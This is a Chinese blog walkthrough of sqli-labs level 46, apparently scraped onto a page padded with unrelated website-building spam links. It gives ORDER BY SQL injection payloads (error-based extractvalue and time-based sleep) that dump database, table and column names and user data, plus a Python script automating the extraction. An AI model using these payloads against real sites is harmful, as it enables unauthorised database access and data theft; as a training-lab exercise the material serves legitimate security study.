当前位置: 首页 > news >正文

免费注册二级域名网站织梦网站更新Html

免费注册二级域名网站,织梦网站更新Html,兄弟们给个能用的网站,购物商城英语实验描述 本实验基于sqli-lab的第46关进行测试 本关的sql 语句为$sql "SELECT * FROM users ORDER BY $id" 利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据 1.报错注入 1.手工测试 爆出数据库 ?sort(extractvalue(1, c…

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时,索引为 {index},继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

http://www.yayakq.cn/news/327485/

相关文章:

  • 咨询手机网站建设平台公司起名字大全免费4个字
  • 南山的网站建设公司在线个人资料制作网站
  • 怎么做钓qq密码网站西安不动产查询房产信息网
  • 爱最好网站建设网页布局的方式有哪些
  • 什么推广网站好格尔木市公司网站建设
  • 河北邢台做移动网站wordpress小型论坛主题
  • 建材类网站建设需要的资料网站备案怎么取消
  • 苏州老字号企业官方的网站策划书金融公司网站建设模板
  • 搭建个人视频网站seo网站推广案例
  • 国家城乡建设部网站首页用html制作个人博客
  • 网站图片制作做社交网站开发
  • 广州市住房与城乡建设网站gta房产网站建设中
  • seo网站关键词优化费用南京企业微信网站建设
  • 苏州专业做网站公司有哪些网站的详细设计
  • 山南网站制作国际网站怎么样做
  • 西乡县门户网站网站建设合作合同模板下载
  • 庐山网站建设自己做网站教学视频
  • 在网站上做宣传seo优化网站推广全域营销获客公司
  • 中国做的比较好的电商网站有哪些wordpress 个人简历模板
  • 南通电子商务网站建设济宁建站公司
  • 网站建设 后期维护网站建设开发ppt
  • 网站建设关键词排名优化智能手机app开发
  • 网站建设 图片栏目介绍大连搜狗
  • 珠海网站制作定制贵阳免费网站建设
  • 一个企业做网站需要什么资料微信公众号和wordpress
  • 网站导航cms网站建设的优点和不足
  • 网站搭建代理广州市酒店网站设计
  • 做网站公司的未来中国机械加工网站
  • 站长友情链接信宜网站开发公司
  • 湘西网站建设花垣站长工具seo综合查询论坛